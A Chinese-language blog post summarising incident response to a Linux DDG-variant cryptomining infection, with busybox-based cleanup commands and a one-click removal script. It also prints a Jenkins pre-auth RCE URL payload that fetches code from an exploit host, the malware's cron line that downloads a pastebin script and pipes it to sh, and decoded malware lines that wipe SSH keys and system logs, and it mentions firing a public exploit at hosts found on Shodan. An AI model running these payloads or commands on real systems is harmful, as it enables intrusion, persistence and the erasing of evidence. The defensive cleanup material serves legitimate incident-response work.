关于Linux下变种DDG挖矿应急处理总结

背景

春节刚过,黑产团队就开始了新的一年的工作。21日晚上九点多,正准备回家享受快乐时光呢,钉钉就响了,客户应急来了,8台机器感染挖矿木马病毒。根据今天看的默安科技发的文章说是”Linux DDG变种挖矿病毒”,挖矿病毒这两年也处理了不少了,但是这次的应急受益匪浅,值得记录一下。

0x00 事件处理过程

0x01 传播途径

此次事件从网上收集了下,途径不止有被通报的Redis,

  • Jenkins RCE 漏洞
  • Nexus RCE 漏洞
  • Redis未授权访问or弱口令

然后被感染后受害者会尝试进行对外或内网SSH爆破、Redis探测并入侵

0x02 处理流程

获取busybox

为什么要获取busybox?这就是此次事件的特别之处,如果你使用top、ps等系统命令是看不到挖矿进程的,因为挖矿病毒修改了系统的动态链接库配置文件/etc/ld.so.preload内容并引用了/usr/local/lib/libioset.so,所以有些运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制,是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令。

而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。

1
2
3
cd /bin/
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod 755 busybox

PS: 这里跟客户学到个命令,这条命令也是可以显示恶意进程的,有兴趣的可以查查。

1
perf top -s pid,comm,dso,symbol

病毒文件

1
2
/tmp/ksoftirqds
/tmp/watchdogs

关闭crontab

1
2
service crond stop
systemctl stop crond

修改hosts

修改/etc/hosts来屏蔽病毒脚本下载,域名为解密sh文件之后出现的两个域名。

1
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

删除,创建,并锁定 crontab相关文件

使用chattri属性来防止文件被修改,查看具有哪些属性使用lsattr

1
2
3
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

备份重要的crontab,然后删除cron.d目录的其他文件

1
busybox rm -f /etc/cron.d/*

检查并删除下面目录是否有异常文件

1
2
3
4
busybox ls -al /etc/cron.daily
busybox ls -al /etc/cron.hourly
busybox ls -al /etc/cron.monthly
busybox ls -al /etc/cron.weekly

删除病毒相关执行文件和启动脚本

1
busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f

删除病毒进程

1
2
3
4
5
busybox pkill watchdogs
busybox pkill ksoftirqds
也可以使用:
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9

删除被preload的so库

1
2
3
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache

验证libioset.so被卸载

1
2
lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD

若结果为空, 则该动态链接库被卸载;

若有输出,kill掉占用的进程,重复执行该步骤;

若反复执行后无法成功卸载该动态链接库,请执行服务重启操作。

一键清理脚本

默安科技也发了一个一键清理脚本,在此基础上,自己改了改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# wget http://www.w2n1ck.com/clear.sh
#!/bin/sh
#LANG=zh_CN.UTF-8
# 关闭crontab
service crond stop
systemctl stop crond
# 写hosts, 屏蔽病毒脚本下载
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
# 删除,创建,并锁定 crontab相关文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
# 删除cron.d目录的其他文件
busybox rm /etc/cron.d/*
# 删除病毒相关执行文件和启动脚
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
# 删除病毒进程
busybox pkill watchdogs
busybox pkill ksoftirqds
# 删除被preload的so库
chattr -i /etc/ld.so.preload
chattr -i /usr/local/lib/libioset.so
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
# 验证libioset.so被卸载
# lsof |grep /usr/local/lib/libioset.so
# 无输出, 则该动态链接库被卸载, 直接执行验证步骤; 有输出, kill掉占用的进程, ,重复执行该步骤;
# 再次清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
# 清理异常文件
busybox rm -f /tmp/watchdogs
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/watchdogs
busybox rm -f /usr/sbin/watchdogs
# 搜索可共享的动态链接库
ldconfig
# 清理开机启动项
chkconfig watchdogs off
chkconfig --del watchdogs
service crond start
echo "Done, Please reboot!"

0x03 事件总结

此次事件客户有9台服务器被感染,其中主要的一台是我们拿到信息之后发现只开放了,Nginx-80和Jenkins-8080,然后就被误导了。。。

首先使用了CVE-2019-1003000-jenkins-rce-poc,但是这个漏洞是需要具有Overall/Read”权限的用户才能完成。然后想起来前两天Orange发了个PreAuth的

1
2
Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

POC:

1
2
3
4
5
6
7
8
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
URL Payload:
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;

但是我利用这个POC是可以打成功在shodan上的,但是没办法客户的无法成功,一度相当困惑。

后来看到异常文件:

然后想起来前两天RR大佬也爆了个Nexus的RCE,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】,然后试了下,成功了

剩下的几台就是Redis未授权访问导致的了,具体可以参考:未授权访问漏洞总结

彩蛋

这次应急让我意外的是恶意的下载的sh脚本

1
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

访问之后base64解密看到之后相当惊喜:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

这是啥?这本来是攻击者为了让服务器资源都用在自己的挖矿进程上,关闭其他可能存在的挖矿及DDoS木马。

这TM真是良心啊!都不用整理了!以后遇到挖矿的事件拿出来一把梭!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

使用chattr解锁相关文件,并删除;清除CPU占用率超过百分之80的进程

1
2
3
4
5
6
7
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi

清除billgates挖矿木马相关文件、进程。

1
2
3
4
5
echo 0>/root/.ssh/authorized_keys #清除ssh密钥内容
echo 0>/var/spool/mail/root #清除邮件内容
echo 0>/var/log/wtmp #清除登录日志
echo 0>/var/log/secure #清除安全日志
echo 0>/var/log/cron #清除计划任务日志

总体来说此次挖矿的幕后操作者相当的良心,诚意满满!学到了!

参考文章

https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650236941&idx=2&sn=cd15e59cde2ed50ee8093def270acfe5&chksm=f3e2d279c4955b6f935bf8129c2277d965f75bd1c5cdeece4e6dd81fc5d2a36292d52b86429c&mpshare=1&scene=23&srcid=%23rd

https://mp.weixin.qq.com/s/7HyO9gVdgDYL4x7DKCVgZA

http://man.linuxde.net/ldconfig

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

http://vulsee.com/archives/vulsee_2019/0220_7345.html

https://www.secpulse.com/archives/98372.html

https://xz.aliyun.com/t/4136

大爷,赏个铜板呗!